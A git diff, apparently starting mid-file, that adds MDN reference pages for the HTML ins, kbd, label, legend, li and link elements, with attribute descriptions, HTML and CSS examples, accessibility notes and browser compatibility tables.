type_hidden1121Yes214.41841411.0
type_image1121Yes1514.41841411.0
type_month2012NoNo11
NoThe input type is recognized, but there is no month-specific control. See bug 200416.
4.4251814Yes1.5
type_number7122910155.14.418291451.0
type_password11212214.41841411.0
type_radio1121Yes1514.41841411.0
type_range4122310113.14.4
2–4.4Pre-Chromium Android WebView recognizes the range type, but doesn't implement a range-specific control.
+		57521157.0
type_reset112
1Unlike other browsers, Firefox by default persists the dynamic disabled state of a <button> across page loads. Use the autocomplete attribute to control this feature.
Yes1514.418
4Unlike other browsers, Firefox by default persists the dynamic disabled state of a <button> across page loads. Use the autocomplete attribute to control this feature.
1411.0
type_search51241010.654.4184144.21.0
type_submit112
1Unlike other browsers, Firefox by default persists the dynamic disabled state of a <button> across page loads. Use the autocomplete attribute to control this feature.
Yes1514.418
4Unlike other browsers, Firefox by default persists the dynamic disabled state of a <button> across page loads. Use the autocomplete attribute to control this feature.
1411.0
type_tel
3The field type doesn't demonstrate any special behavior.
12Yes1011
4The field type doesn't demonstrate any special behavior.
≤3718Yes1131.0
type_text1121Yes1514.41841411.0
type_time201257No1014.14.4255710.151.5
type_url1121101114.41841411.0
type_week2012NoNo11No4.4251814No1.5
usemap11216≤12.114.4184≤12.111.0
x-moz-errormessageNoNoYes–66NoNoNoNoNoYes–66NoNoNo
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input +

+
diff --git a/devdocs/html/element%2Fins.html b/devdocs/html/element%2Fins.html new file mode 100644 index 00000000..f0aa7894 --- /dev/null +++ b/devdocs/html/element%2Fins.html @@ -0,0 +1,131 @@ +

<ins>: The Inserted Text element

The <ins> HTML element represents a range of text that has been added to a document. You can use the <del> element to similarly represent a range of text that has been deleted from the document.

+

Try it

+
+
Content categories Phrasing content, flow content.
Permitted content +Transparent.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts phrasing content.
Implicit ARIA role insertion
Permitted ARIA roles Any
DOM interface HTMLModElement
+
+

Attributes

+
+

This element includes the global attributes.

cite

This attribute defines the URI of a resource that explains the change, such as a link to meeting minutes or a ticket in a troubleshooting system.

datetime

This attribute indicates the time and date of the change and must be a valid date with an optional time string. If the value cannot be parsed as a date with an optional time string, the element does not have an associated timestamp. For the format of the string without a time, see Format of a valid date string. The format of the string if it includes both date and time is covered in Format of a valid local date and time string.

+
+

Examples

+
+

html

+
<ins>This text has been inserted</ins>
+
+
+

Result

+
+ + +
+

Accessibility concerns

+
+

The presence of the <ins> element is not announced by most screen reading technology in its default configuration. It can be made to be announced by using the CSS content property, along with the ::before and ::after pseudo-elements.

+

css

+
ins::before,
+ins::after {
+  clip-path: inset(100%);
+  clip: rect(1px, 1px, 1px, 1px);
+  height: 1px;
+  overflow: hidden;
+  position: absolute;
+  white-space: nowrap;
+  width: 1px;
+}
+
+ins::before {
+  content: " [insertion start] ";
+}
+
+ins::after {
+  content: " [insertion end] ";
+}
+
+

Some people who use screen readers deliberately disable announcing content that creates extra verbosity. Because of this, it is important to not abuse this technique and only apply it in situations where not knowing content has been inserted would adversely affect understanding.

+
+

Specifications

+
+ + +
Specification
HTML Standard
# the-ins-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
ins1121Yes15≤44.418414≤3.21.0
cite1121Yes1534.41841421.0
datetime1121Yes1534.41841421.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/ins +

+
diff --git a/devdocs/html/element%2Fkbd.html b/devdocs/html/element%2Fkbd.html new file mode 100644 index 00000000..673d315f --- /dev/null +++ b/devdocs/html/element%2Fkbd.html @@ -0,0 +1,155 @@ +

<kbd>: The Keyboard Input element

The <kbd> HTML element represents a span of inline text denoting textual user input from a keyboard, voice input, or any other text entry device. By convention, the user agent defaults to rendering the contents of a <kbd> element using its default monospace font, although this is not mandated by the HTML standard.

+

Try it

+
+

<kbd> may be nested in various combinations with the <samp> (Sample Output) element to represent various forms of input or output based on visual cues.

+
+

Attributes

+

This element only includes the global attributes.

+

Usage notes

+
+

Other elements can be used in tandem with <kbd> to represent more specific scenarios:

Note: You can define a custom style to override the browser's default font selection for the <kbd> element, although the user's preferences may potentially override your CSS.

+
+

Examples

+ +

Basic example

+
+
+

html

+
<p>
+  Use the command <kbd>help mycommand</kbd> to view documentation for the
+  command "mycommand".
+</p>
+
+

Result

+
+ + +
+
+

Representing keystrokes within an input

+
+

To describe an input comprised of multiple keystrokes, you can nest multiple <kbd> elements, with an outer <kbd> element representing the overall input and each individual keystroke or component of the input enclosed within its own <kbd>.

Unstyled

First, let's look at what this looks like as just plain HTML.

HTML
+

html

+
<p>
+  You can also create a new document using the
+  <kbd><kbd>Ctrl</kbd>+<kbd>N</kbd></kbd> keyboard shortcut.
+</p>
+
+

This wraps the entire key sequence in an outer <kbd> element, then each individual key within its own, in order to denote the components of the sequence.

Note: You don't need to do all this wrapping; you can choose to simplify it by leaving out the external <kbd> element. In other words, simplifying this to just <kbd>Ctrl</kbd>+<kbd>N</kbd> would be perfectly valid.

Note: Depending on your style sheet, though, you may find it useful to do this kind of nesting.

Result

The output looks like this without a style sheet applied:

+
+ + +

With custom styles

We can make more sense of this by adding some CSS:

CSS

We add a new selector for nested <kbd> elements, kbd>kbd, which we can apply when rendering keyboard keys:

+

css

+
kbd > kbd {
+  border-radius: 3px;
+  padding: 1px 2px 0;
+  border: 1px solid black;
+}
+
+
HTML

Then we update the HTML to use this class on the keys in the output to be presented:

+

html

+
<p>
+  You can also create a new document by pressing the
+  <kbd><kbd>Ctrl</kbd>+<kbd>N</kbd></kbd> shortcut.
+</p>
+
+
Result

The result is just what we want!

+
+ + +
+
+

Echoed input

+
+

Nesting a <kbd> element inside a <samp> element represents input that has been echoed back to the user by the system.

+

html

+
<p>
+  If a syntax error occurs, the tool will output the initial command you typed
+  for your review:
+</p>
+<blockquote>
+  <samp><kbd>custom-git ad my-new-file.cpp</kbd></samp>
+</blockquote>
+
+

Result

+
+ + +
+
+

Representing onscreen input options

+
+

Nesting a <samp> element inside a <kbd> element represents input which is based on text presented by the system, such as the names of menus and menu items, or the names of buttons displayed on the screen.

For example, you can explain how to choose the "New Document" option in the "File" menu using HTML that looks like this:

+

html

+
<p>
+  To create a new file, choose the <kbd><kbd><samp>File</samp></kbd>
+  ⇒<kbd><samp>New Document</samp></kbd></kbd> menu option.
+</p>
+
+<p>
+  Don't forget to click the <kbd><samp>OK</samp></kbd> button to confirm once
+  you've entered the name of the new file.
+</p>
+
+

This does some interesting nesting. For the menu option description, the entire input is enclosed in a <kbd> element. Then, inside that, both the menu and menu item names are contained within both <kbd> and <samp>, indicating an input which is selected from a screen widget.

Result

+
+ + +
+
+

Technical summary

+
Content categories Flow content, phrasing content, palpable content.
Permitted content +Phrasing content.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts phrasing content.
Implicit ARIA role No corresponding role
Permitted ARIA roles Any
DOM interface HTMLElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-kbd-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
kbd112
1Before Firefox 4, creating a <kbd> element incorrectly resulted in an HTMLSpanElement object, instead of the expected HTMLElement.
Yes15≤44.418414≤3.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/kbd +

+
diff --git a/devdocs/html/element%2Flabel.html b/devdocs/html/element%2Flabel.html new file mode 100644 index 00000000..bd85c5ef --- /dev/null +++ b/devdocs/html/element%2Flabel.html @@ -0,0 +1,163 @@ +

<label>: The Label element

The <label> HTML element represents a caption for an item in a user interface.

+

Try it

+
+

Associating a <label> with a form control, such as <input> or <textarea> offers some major advantages:

To explicitly associate a <label> element with an <input> element, you first need to add the id attribute to the <input> element. Next, you add the for attribute to the <label> element, where the value of for is the same as the id in the <input> element.

Alternatively, you can nest the <input> directly inside the <label>, in which case the for and id attributes are not needed because the association is implicit:

+

html

+
<label>
+  Do you like peas?
+  <input type="checkbox" name="peas" />
+</label>
+
+

The form control that a label is labeling is called the labeled control of the label element. Multiple labels can be associated with the same form control:

+

html

+
<label for="username">Enter your username:</label>
+<input id="username" name="username" type="text" />
+<label for="username">Forgot your username?</label>
+
+

Elements that can be associated with a <label> element include <button>, <input> (except for type="hidden"), <meter>, <output>, <progress>, <select> and <textarea>.

+
+

Attributes

+
+

This element includes the global attributes.

for

The value of the for attribute must be a single id for a labelable form-related element in the same document as the <label> element. So, any given label element can be associated with only one form control.

Note: To programmatically set the for attribute, use htmlFor.

The first element in the document with an id attribute matching the value of the for attribute is the labeled control for this label element — if the element with that id is actually a labelable element. If it is not a labelable element, then the for attribute has no effect. If there are other elements that also match the id value, later in the document, they are not considered.

Multiple label elements can be given the same value for their for attribute; doing so causes the associated form control (the form control that for value references) to have multiple labels.

Note: A <label> element can have both a for attribute and a contained control element, as long as the for attribute points to the contained control element.

+
+

Styling with CSS

+

There are no special styling considerations for <label> elements — structurally they are simple inline elements, and so can be styled in much the same way as a <span> or <a> element. You can apply styling to them in any way you want, as long as you don't cause the text to become difficult to read.

+

Examples

+ +

Defining an implicit label

+
+
+

html

+
<label>Click me <input type="text" /></label>
+
+
+
+ + +
+
+

Defining an explicit label with the "for" attribute

+
+
+

html

+
<label for="username">Click me to focus on the input field</label>
+<input type="text" id="username" />
+
+
+
+ + +
+
+

Accessibility concerns

+ +

Interactive content

+
+

Don't place interactive elements such as anchors or buttons inside a label. Doing so makes it difficult for people to activate the form input associated with the label.

Don't do this:

+

html

+
<label for="tac">
+  <input id="tac" type="checkbox" name="terms-and-conditions" />
+  I agree to the <a href="terms-and-conditions.html">Terms and Conditions</a>
+</label>
+
+

Prefer this:

+

html

+
<label for="tac">
+  <input id="tac" type="checkbox" name="terms-and-conditions" />
+  I agree to the Terms and Conditions
+</label>
+<p>
+  <a href="terms-and-conditions.html">Read our Terms and Conditions</a>
+</p>
+
+
+
+

Headings

+
+

Placing heading elements within a <label> interferes with many kinds of assistive technology, because headings are commonly used as a navigation aid. If the label's text needs to be adjusted visually, use CSS classes applied to the <label> element instead.

If a form, or a section of a form needs a title, use the <legend> element placed within a <fieldset>.

Don't do this:

+

html

+
<label for="your-name">
+  <h3>Your name</h3>
+  <input id="your-name" name="your-name" type="text" />
+</label>
+
+

Prefer this:

+

html

+
<label class="large-label" for="your-name">
+  Your name
+  <input id="your-name" name="your-name" type="text" />
+</label>
+
+
+
+

Buttons

+

An <input> element with a type="button" declaration and a valid value attribute does not need a label associated with it. Doing so may actually interfere with how assistive technology parses the button input. The same applies for the <button> element.

+

Technical summary

+
Content categories Flow content, phrasing content, interactive content, form-associated element, palpable content.
Permitted content Phrasing content, but no descendant label elements. No labelable elements other than the labeled control are allowed.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts phrasing content.
Implicit ARIA role No corresponding role
Permitted ARIA roles No role permitted
DOM interface HTMLLabelElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-label-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
label1121Yes15≤44.418414≤3.21.0
for1121Yes15≤44.418414≤3.21.0
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/label +

+
diff --git a/devdocs/html/element%2Flegend.html b/devdocs/html/element%2Flegend.html new file mode 100644 index 00000000..e5aea484 --- /dev/null +++ b/devdocs/html/element%2Flegend.html @@ -0,0 +1,78 @@ +

<legend>: The Field Set Legend element

The <legend> HTML element represents a caption for the content of its parent <fieldset>.

+

Try it

+
+

Attributes

+

This element only includes the global attributes.

+

Examples

+

See <form> for examples on <legend>.

+

Technical summary

+
Content categories None.
Permitted content Phrasing content and headings (h1–h6 elements).
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents A <fieldset> whose first child is this <legend> element
Implicit ARIA role No corresponding role
Permitted ARIA roles No role permitted
DOM interface HTMLLegendElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-legend-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
legend11216≤12.134.4184≤12.111.0
align11216≤12.1≤44.4184≤12.1≤3.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/legend +

+
diff --git a/devdocs/html/element%2Fli.html b/devdocs/html/element%2Fli.html new file mode 100644 index 00000000..818a8a6a --- /dev/null +++ b/devdocs/html/element%2Fli.html @@ -0,0 +1,152 @@ +

<li>: The List Item element

The <li> HTML element is used to represent an item in a list. It must be contained in a parent element: an ordered list (<ol>), an unordered list (<ul>), or a menu (<menu>). In menus and unordered lists, list items are usually displayed using bullet points. In ordered lists, they are usually displayed with an ascending counter on the left, such as a number or letter.

+

Try it

+
+

Attributes

+
+

This element includes the global attributes.

value

This integer attribute indicates the current ordinal value of the list item as defined by the <ol> element. The only allowed value for this attribute is a number, even if the list is displayed with Roman numerals or letters. List items that follow this one continue numbering from the value set. The value attribute has no meaning for unordered lists (<ul>) or for menus (<menu>).

+type +

This character attribute indicates the numbering type:

  • +a: lowercase letters
  • +A: uppercase letters
  • +i: lowercase Roman numerals
  • +I: uppercase Roman numerals
  • +1: numbers

This type overrides the one used by its parent <ol> element, if any.

Note: This attribute has been deprecated; use the CSS list-style-type property instead.

+
+

Examples

+

For more detailed examples, see the <ol> and <ul> pages.

+

Ordered list

+
+
+

html

+
<ol>
+  <li>first item</li>
+  <li>second item</li>
+  <li>third item</li>
+</ol>
+
+

Result

+
+ + +
+
+

Ordered list with a custom value

+
+
+

html

+
<ol type="I">
+  <li value="3">third item</li>
+  <li>fourth item</li>
+  <li>fifth item</li>
+</ol>
+
+

Result

+
+ + +
+
+

Unordered list

+
+
+

html

+
<ul>
+  <li>first item</li>
+  <li>second item</li>
+  <li>third item</li>
+</ul>
+
+

Result

+
+ + +
+
+

Technical summary

+
Content categories None.
Permitted content +Flow content.
Tag omission The end tag can be omitted if the list item is immediately followed by another <li> element, or if there is no more content in its parent element.
Permitted parents An <ul>, <ol>, or <menu> element. Though not a conforming usage, the obsolete <dir> can also be a parent.
Implicit ARIA role listitem when child of an ol, ul or menu
Permitted ARIA roles menuitem, menuitemcheckbox, menuitemradio, option, none, presentation, radio, separator, tab, treeitem
DOM interface HTMLLIElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-li-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
li11215.5≤12.134.4184≤12.111.0
type1121≤6≤12.1≤44.4184≤12.1≤3.21.0
value1121≤6≤12.1≤44.4184≤12.1≤3.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/li +

+
diff --git a/devdocs/html/element%2Flink.html b/devdocs/html/element%2Flink.html new file mode 100644 index 00000000..8714a5db --- /dev/null +++ b/devdocs/html/element%2Flink.html @@ -0,0 +1,503 @@ +

<link>: The External Resource Link element

The <link> HTML element specifies relationships between the current document and an external resource. This element is most commonly used to link to stylesheets, but is also used to establish site icons (both "favicon" style icons and icons for the home screen and apps on mobile devices) among other things.

+

Try it

+
+

To link an external stylesheet, you'd include a <link> element inside your <head> like this:

+

html

+
<link href="main.css" rel="stylesheet" />
+
+

This simple example provides the path to the stylesheet inside an href attribute, and a rel attribute with a value of stylesheet. The rel stands for "relationship", and is one of the key features of the <link> element — the value denotes how the item being linked to is related to the containing document.

There are a number of other common types you'll come across. For example, a link to the site's favicon:

+

html

+
<link rel="icon" href="favicon.ico" />
+
+

There are a number of other icon rel values, mainly used to indicate special icon types for use on various mobile platforms, e.g.:

+

html

+
<link
+  rel="apple-touch-icon"
+  sizes="114x114"
+  href="apple-icon-114.png"
+  type="image/png" />
+
+

The sizes attribute indicates the icon size, while the type contains the MIME type of the resource being linked. These provide useful hints to allow the browser to choose the most appropriate icon available.

You can also provide a media type or query inside a media attribute; this resource will then only be loaded if the media condition is true. For example:

+

html

+
<link href="print.css" rel="stylesheet" media="print" />
+<link
+  href="mobile.css"
+  rel="stylesheet"
+  media="screen and (max-width: 600px)" />
+
+

Some interesting new performance and security features have been added to the <link> element too. Take this example:

+

html

+
<link
+  rel="preload"
+  href="myFont.woff2"
+  as="font"
+  type="font/woff2"
+  crossorigin="anonymous" />
+
+

A rel value of preload indicates that the browser should preload this resource (see rel="preload" for more details), with the as attribute indicating the specific class of content being fetched. The crossorigin attribute indicates whether the resource should be fetched with a CORS request.

Other usage notes:

+
+

Attributes

+
+

This element includes the global attributes.

as

This attribute is required when rel="preload" has been set on the <link> element, optional when rel="modulepreload" has been set, and otherwise should not be used. It specifies the type of content being loaded by the <link>, which is necessary for request matching, application of correct content security policy, and setting of correct Accept request header.

Furthermore, rel="preload" uses this as a signal for request prioritization. The table below lists the valid values for this attribute and the elements or resources they apply to.

Value Applies To
audio +<audio> elements
document +<iframe> and <frame> elements
embed +<embed> elements
fetch

fetch, XHR

Note: This value also requires <link> to contain the crossorigin attribute, see CORS-enabled fetches.

font CSS @font-face
image <img> and <picture> elements with srcset or imageset attributes, SVG <image> elements, CSS *-image rules
object +<object> elements
script +<script> elements, Worker importScripts +
style <link rel=stylesheet> elements, CSS @import
track +<track> elements
video +<video> elements
worker Worker, SharedWorker
+blocking +

This attribute explicitly indicates that certain operations should be blocked on the fetching of an external resource. The operations that are to be blocked must be a space-separated list of blocking attributes listed below.

  • +render: The rendering of content on the screen is blocked.
crossorigin

This enumerated attribute indicates whether CORS must be used when fetching the resource. CORS-enabled images can be reused in the <canvas> element without being tainted. The allowed values are:

anonymous

A cross-origin request (i.e. with an Origin HTTP header) is performed, but no credential is sent (i.e. no cookie, X.509 certificate, or HTTP Basic authentication). If the server does not give credentials to the origin site (by not setting the Access-Control-Allow-Origin HTTP header) the resource will be tainted and its usage restricted.

use-credentials

A cross-origin request (i.e. with an Origin HTTP header) is performed along with a credential sent (i.e. a cookie, certificate, and/or HTTP Basic authentication is performed). If the server does not give credentials to the origin site (through Access-Control-Allow-Credentials HTTP header), the resource will be tainted and its usage restricted.

If the attribute is not present, the resource is fetched without a CORS request (i.e. without sending the Origin HTTP header), preventing its non-tainted usage. If invalid, it is handled as if the enumerated keyword anonymous was used. See CORS settings attributes for additional information.

+disabled +

For rel="stylesheet" only, the disabled Boolean attribute indicates whether the described stylesheet should be loaded and applied to the document. If disabled is specified in the HTML when it is loaded, the stylesheet will not be loaded during page load. Instead, the stylesheet will be loaded on-demand, if and when the disabled attribute is changed to false or removed.

Setting the disabled property in the DOM causes the stylesheet to be removed from the document's Document.styleSheets list.

+fetchpriority +

Provides a hint of the relative priority to use when fetching a preloaded resource. Allowed values:

high

Signals a high-priority fetch relative to other resources of the same type.

low

Signals a low-priority fetch relative to other resources of the same type.

auto

Default: Signals automatic determination of fetch priority relative to other resources of the same type.

href

This attribute specifies the URL of the linked resource. A URL can be absolute or relative.

hreflang

This attribute indicates the language of the linked resource. It is purely advisory. Allowed values are specified by RFC 5646: Tags for Identifying Languages (also known as BCP 47). Use this attribute only if the href attribute is present.

imagesizes

For rel="preload" and as="image" only, the imagesizes attribute is a sizes attribute that indicates to preload the appropriate resource used by an img element with corresponding values for its srcset and sizes attributes.

imagesrcset

For rel="preload" and as="image" only, the imagesrcset attribute is a sourceset attribute that indicates to preload the appropriate resource used by an img element with corresponding values for its srcset and sizes attributes.

integrity

Contains inline metadata — a base64-encoded cryptographic hash of the resource (file) you're telling the browser to fetch. The browser can use this to verify that the fetched resource has been delivered free of unexpected manipulation. See Subresource Integrity.

media

This attribute specifies the media that the linked resource applies to. Its value must be a media type / media query. This attribute is mainly useful when linking to external stylesheets — it allows the user agent to pick the best adapted one for the device it runs on.

Note:

  • In HTML 4, this can only be a simple white-space-separated list of media description literals, i.e., media types and groups, where defined and allowed as values for this attribute, such as print, screen, aural, braille. HTML5 extended this to any kind of media queries, which are a superset of the allowed values of HTML 4.
  • Browsers not supporting CSS Media Queries won't necessarily recognize the adequate link; do not forget to set fallback links, the restricted set of media queries defined in HTML 4.
referrerpolicy

A string indicating which referrer to use when fetching the resource:

  • +no-referrer means that the Referer header will not be sent.
  • no-referrer-when-downgrade means that no Referer header will be sent when navigating to an origin without TLS (HTTPS). This is a user agent's default behavior, if no policy is otherwise specified.
  • +origin means that the referrer will be the origin of the page, which is roughly the scheme, the host, and the port.
  • +origin-when-cross-origin means that navigating to other origins will be limited to the scheme, the host, and the port, while navigating on the same origin will include the referrer's path.
  • unsafe-url means that the referrer will include the origin and the path (but not the fragment, password, or username). This case is unsafe because it can leak origins and paths from TLS-protected resources to insecure origins.
rel

This attribute names a relationship of the linked document to the current document. The attribute must be a space-separated list of link type values.

+sizes +

This attribute defines the sizes of the icons for visual media contained in the resource. It must be present only if the rel contains a value of icon or a non-standard type such as Apple's apple-touch-icon. It may have the following values:

  • +any, meaning that the icon can be scaled to any size as it is in a vector format, like image/svg+xml.
  • a white-space separated list of sizes, each in the format <width in pixels>x<height in pixels> or <width in pixels>X<height in pixels>. Each of these sizes must be contained in the resource.

Note: Most icon formats are only able to store one single icon; therefore, most of the time, the sizes attribute contains only one entry. MS's ICO format does, as well as Apple's ICNS. ICO is more ubiquitous, so you should use this format if cross-browser support is a concern (especially for old IE versions).

title

The title attribute has special semantics on the <link> element. When used on a <link rel="stylesheet"> it defines a default or an alternate stylesheet.

type

This attribute is used to define the type of the content linked to. The value of the attribute should be a MIME type such as text/html, text/css, and so on. The common use of this attribute is to define the type of stylesheet being referenced (such as text/css), but given that CSS is the only stylesheet language used on the web, not only is it possible to omit the type attribute, but is actually now recommended practice. It is also used on rel="preload" link types, to make sure the browser only downloads file types that it supports.

+
+

Non-standard attributes

+
+methods +

The value of this attribute provides information about the functions that might be performed on an object. The values generally are given by the HTTP protocol when it is used, but it might (for similar reasons as for the title attribute) be useful to include advisory information in advance in the link. For example, the browser might choose a different rendering of a link as a function of the methods specified; something that is searchable might get a different icon, or an outside link might render with an indication of leaving the current site. This attribute is not well understood nor supported, even by the defining browser, Internet Explorer 4.

+target +

Defines the frame or window name that has the defined linking relationship or that will show the rendering of any linked resource.

+

Obsolete attributes

+
+charset +

This attribute defines the character encoding of the linked resource. The value is a space- and/or comma-delimited list of character sets as defined in RFC 2045. The default value is iso-8859-1.

Note: To produce the same effect as this obsolete attribute, use the Content-Type HTTP header on the linked resource.

+rev +

The value of this attribute shows the relationship of the current document to the linked document, as defined by the href attribute. The attribute thus defines the reverse relationship compared to the value of the rel attribute. Link type values for the attribute are similar to the possible values for rel.

Note: Instead of rev, you should use the rel attribute with the opposite link type value. For example, to establish the reverse link for made, specify author. Also, this attribute doesn't stand for "revision" and must not be used with a version number, even though many sites misuse it in this way.

+

Examples

+ +

Including a stylesheet

+
+

To include a stylesheet in a page, use the following syntax:

+

html

+
<link href="style.css" rel="stylesheet" />
+
+
+
+

Providing alternative stylesheets

+
+

You can also specify alternative style sheets.

The user can choose which style sheet to use by choosing it from the View > Page Style menu. This provides a way for users to see multiple versions of a page.

+

html

+
<link href="default.css" rel="stylesheet" title="Default Style" />
+<link href="fancy.css" rel="alternate stylesheet" title="Fancy" />
+<link href="basic.css" rel="alternate stylesheet" title="Basic" />
+
+
+
+

Providing icons for different usage contexts

+
+

You can include links to several icons on the same page, and the browser will choose which one works best for its particular context using the rel and sizes values as hints.

+

html

+
<!-- third-generation iPad with high-resolution Retina display: -->
+<link rel="apple-touch-icon" sizes="144x144" href="favicon144.png" />
+<!-- iPhone with high-resolution Retina display: -->
+<link rel="apple-touch-icon" sizes="114x114" href="favicon114.png" />
+<!-- first- and second-generation iPad: -->
+<link rel="apple-touch-icon" sizes="72x72" href="favicon72.png" />
+<!-- non-Retina iPhone, iPod Touch, and Android 2.1+ devices: -->
+<link rel="apple-touch-icon" href="favicon57.png" />
+<!-- basic favicon -->
+<link rel="icon" href="favicon32.png" />
+
+
+
+

Conditionally loading resources with media queries

+
+

You can provide a media type or query inside a media attribute; this resource will then only be loaded if the media condition is true. For example:

+

html

+
<link href="print.css" rel="stylesheet" media="print" />
+<link href="mobile.css" rel="stylesheet" media="all" />
+<link
+  href="desktop.css"
+  rel="stylesheet"
+  media="screen and (min-width: 600px)" />
+<link
+  href="highres.css"
+  rel="stylesheet"
+  media="screen and (min-resolution: 300dpi)" />
+
+
+
+

Stylesheet load events

+
+

You can determine when a style sheet has been loaded by watching for a load event to fire on it; similarly, you can detect if an error has occurred while processing a style sheet by watching for an error event:

+

html

+
<script>
+  const stylesheet = document.querySelector("#my-stylesheet");
+
+  stylesheet.onload = () => {
+    // Do something interesting; the sheet has been loaded
+  };
+
+  stylesheet.onerror = () => {
+    console.log("An error occurred loading the stylesheet!");
+  };
+</script>
+
+<link rel="stylesheet" href="mystylesheet.css" id="my-stylesheet" />
+
+

Note: The load event fires once the stylesheet and all of its imported content has been loaded and parsed, and immediately before the styles start being applied to the content.

+
+

Preload examples

+

You can find a number of <link rel="preload"> examples in Preloading content with rel="preload".

+

Blocking rendering till a resource is fetched

+
+

You can include render token inside a blocking attribute; the rendering of the page will be blocked till the resource is fetched. For example:

+

html

+
<link blocking="render" href="critical-font.woff2" as="font" />
+
+
+
+

Technical summary

+
Content categories Metadata content. If itemprop is present: Flow content and phrasing content.
Permitted content None; it is a void element.
Tag omission As it is a void element, the start tag must be present and the end tag must not be present
Permitted parents Any element that accepts metadata elements. If itemprop is present: any element that accepts phrasing content.
Implicit ARIA role +link with href attribute
Permitted ARIA roles No role permitted
DOM interface HTMLLinkElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-link-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
link1121Yes≤12.1≤44.4184≤12.1≤3.21.0
blocking105105NoNo91No105105No72No20.0
charset1121≤6≤12.1≤44.4184≤12.1≤3.21.0
crossorigin3417
18Before Firefox 83, crossorigin is not supported for rel="icon".
No21103734
18Before Firefox 83, crossorigin is not supported for rel="icon".
21102.0
disabled
1In Chrome and other Blink-based browsers, adding the disabled attribute using JavaScript does not remove the stylesheet from document.styleSheets.
12Since Edge 79, adding the disabled attribute using JavaScript does not remove the stylesheet from document.styleSheets.
1≤6
≤12.1In Chrome and other Blink-based browsers, adding the disabled attribute using JavaScript does not remove the stylesheet from document.styleSheets.
≤4
4.4In Chrome and other Blink-based browsers, adding the disabled attribute using JavaScript does not remove the stylesheet from document.styleSheets.
18In Chrome and other Blink-based browsers, adding the disabled attribute using JavaScript does not remove the stylesheet from document.styleSheets.
4
≤12.1In Chrome and other Blink-based browsers, adding the disabled attribute using JavaScript does not remove the stylesheet from document.styleSheets.
≤3.2
1.0In Samsung Internet and other Blink-based browsers, adding the disabled attribute using JavaScript does not remove the stylesheet from document.styleSheets.
fetchpriority101101NoNoNopreview101101No70No19.0
href1121≤6≤12.1≤44.4184≤12.1≤3.21.0
hreflang1121≤6≤12.1≤44.4184≤12.1≤3.21.0
imagesizes737978No60No73737952No11.0
imagesrcset737978No60No73737952No11.0
integrity451743No3211.14545433211.35.0
media1121≤6≤12.1≤44.4184≤12.1≤3.21.0
methodsNo12–79No4NoNoNoNoNoNoNoNo
referrerpolicy517950No381451515041147.2
rel1121Yes914.418410.111.0
rev1121≤6≤12.1≤44.4184≤12.1≤3.21.0
sizes≤8080≤72No67680807957613.0
target1121≤6≤12.1≤44.4184≤12.1≤3.21.0
title1121YesYes≤4YesYes4Yes≤3.2Yes
